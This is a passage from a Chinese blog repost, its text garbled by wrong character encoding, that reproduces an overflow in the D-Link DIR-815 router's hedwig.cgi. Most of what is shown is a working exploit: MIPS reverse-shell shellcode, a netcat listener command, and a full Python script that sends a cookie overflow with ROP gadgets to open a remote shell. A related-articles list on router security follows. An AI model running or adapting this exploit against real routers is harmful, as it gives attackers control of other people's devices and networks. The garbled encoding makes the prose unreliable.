"\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01"

監(jiān)聽:

nc -lvp 5566

發(fā)現(xiàn)一個好工具:https://bbs.kanxue.com/thread-275619-1.htm

利用以上shellcode,成功反彈shell:

完整exp如下:

import http.client
from evilblade import *
?
set("./cgibin")
?
# 創(chuàng)建HTTP連接
conn = http.client.HTTPConnection("192.168.0.1")
?
## XOR $t0, $t0, $t0,相當于 nop,因為nop是\x00不能發(fā)送,會被sprintf截斷
nop = "\x26\x40\x08\x01"
?
#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))
?
sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"
?
stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
#socket(2,1,0)
stg3_SC += "\xe0\x01\xa2\xaf"
#sw $v0,260($sp)
stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
#dup2
stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
#connect
stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01"
#execve
# stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c"
#exit
print(stg3_SC.encode(),len(stg3_SC))
payload = cyclic(973).decode() + gad_to_s5 + "cccc" ?+ gad_sp*8 ?+ "dddd"*4 + ?stg3_SC
# 設置請求頭
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
 ? ?'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
 ? ?'Host': '192.168.0.1',
 ? ?'Cookie': 'uid='+payload,
 ? ?'Content-Type': 'application/x-www-form-urlencoded'
}
?
# 發(fā)送POST請求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 獲取響應
pause()
response = conn.getresponse()
?
# 打印響應狀態(tài)碼和響應內容
print(response.status, response.read().decode())
?
# 關閉連接
conn.close()

至此完成復現(xiàn)。

更多網安技能的在線實操練習,請點擊這里>>

??文章來源地址http://www.zghlxwxcb.cn/news/detail-843558.html

到了這里,關于踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析復現(xiàn)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!

本文來自互聯(lián)網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 無線路由器怎么設置密碼?通用的無線路由器安全設置深度解析教程

    在無線路由器知識講堂的上文中筆者為大家介紹了基本的無線路由器器組件以及無線路由器設置等基礎知識,如果你還沒有閱讀過上文,那么請先趕緊補上吧: 無線路由器怎么用 無線路由器基本設置圖解 ,接下來本文將為大家介紹的是無線網絡安全防護,不要以為無線網絡只

    2024年02月07日
    瀏覽(95)
  • 360安全路由怎么樣 360安全路由器詳細評測圖文介紹

    隨著筆記本電腦、智能手機等Wi-Fi設備的普及,家庭中的路由器逐漸成為了居家互聯(lián)網的核心中樞,而近期社會上熱議的眾主流品牌路由器后門事件,使得此類我們日?!爸挥貌粍印钡脑O備的安全性令人擔憂。面對這一新威脅,360作為國內知名互聯(lián)網安全廠商率先行動,在P

    2024年02月06日
    瀏覽(27)
  • 360安全路由無法升級固件?360安全路由器固件升級下載失敗解決辦法

    ? 360安全路由無法升級固件失敗怎么辦?才買的360路由器,想升級固件但每次都才升級了一點就顯示升級失敗了這可如何是好,其實這很正常新東西嘛,還是首批,沒關系下面小編就來為大家解決這一棘手的問題。 360安全路由無法升級固件解決辦法 其實很簡單,在上網設置

    2024年02月06日
    瀏覽(19)
  • 無線網絡安全之隱藏無線路由器提高安全

    無線網絡越來越流行,在方便我們的同時,也給我們帶來了諸多我安全隱患。為了不讓沒有使用權限的用戶非法接入,隱藏無線路由器無疑是一個好辦法。 要在空氣中隱藏無線路由器最直接的方法是讓它停止SSID廣播,SSID廣播功能將無線路由器所創(chuàng)建的無線網絡讓客戶端可以

    2024年02月06日
    瀏覽(22)
  • 斐訊路由器怎么設置最安全?斐訊無線路由器防蹭網設置教程圖文詳解

    前不久為大家?guī)砹艘黄?路由器怎么設置才安全 】的理論文章,很多朋友看完可能覺得比較抽象,今天yii666小編為大家?guī)硪黄獙崙?zhàn)文章,以斐訊無線路由器為例,教大家斐訊路由器怎么設置安全。通過對路由器賬號、登陸地址、隱藏SSID以及開啟MAC過濾,可以有效防止斐

    2024年02月07日
    瀏覽(104)
  • 360安全路由器怎么關閉固件自動升級

    360安全路由默認在聯(lián)網情況下,會自動進行固件版本更新升級,如果我們需要保留出廠版本,避免當有新版本時,被自動升級的話,該如何操作呢?下面yii666小編詳細介紹一下360安全路由關閉自動升級更新系統(tǒng)方法。 360安全路由怎么關閉自動更新升級 一、登陸360安全路由后

    2024年02月07日
    瀏覽(22)
  • Cisco路由器安全配置命令整理分享

    1、 在路由器上配置一個登錄帳戶 我強烈建議在路由器和交換機上配置一個真實的用戶名和口令帳號。這樣做,意味著你需要用戶和口令來獲得訪問權。 除此之外,我建議為用戶名使用一個秘密口令,而不僅有一個常規(guī)口令。它用MD5加密方法來加密口令,并且大大提高了安全

    2024年02月05日
    瀏覽(17)
  • 騰達路由器的無線網的安全詳解

    ? 一、由于在默認狀態(tài)下,無線路由器會自動啟用DHCP服務功能,當我們將無線網卡設備正確地安裝到電腦上后,不需要進行任何參數(shù)設置就能自動連接到無線局域網網絡中了,要是不采取安全措施進行防范的話,只要是在信號覆蓋范圍內的電腦都可以直接連接上無線網,那樣

    2024年02月05日
    瀏覽(95)
  • FAST迅捷路由器的安全保護措施分享

    ? ? 一、現(xiàn)在我們可以很容易的通過網絡找到各種路由器的默認密碼,所以采用默認密碼的網絡是非常不安全的,我們在修改密碼時還要使用強大的密碼,不能是字典上的單詞,至少要八位長度,包括大寫和小寫字母和數(shù)字。還有,確保在不同的系統(tǒng)上使用不同的密碼。如果

    2024年02月05日
    瀏覽(17)
  • 路由器安全設置:這樣設置路由99.9%的黑客都攻不破

    對于初級用戶來說,可能還沒有認識到無線加密的重要性,在不加密的無線網絡里,不僅你的網絡帶寬會被侵占,而且你的個人網絡信息也可能遭受泄露,因此一定要使用正確的加密方式來保障無線網絡安全,降低風險。那么路由器如何安全設置?下面小編就為大家介紹路由

    2024年02月07日
    瀏覽(18)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包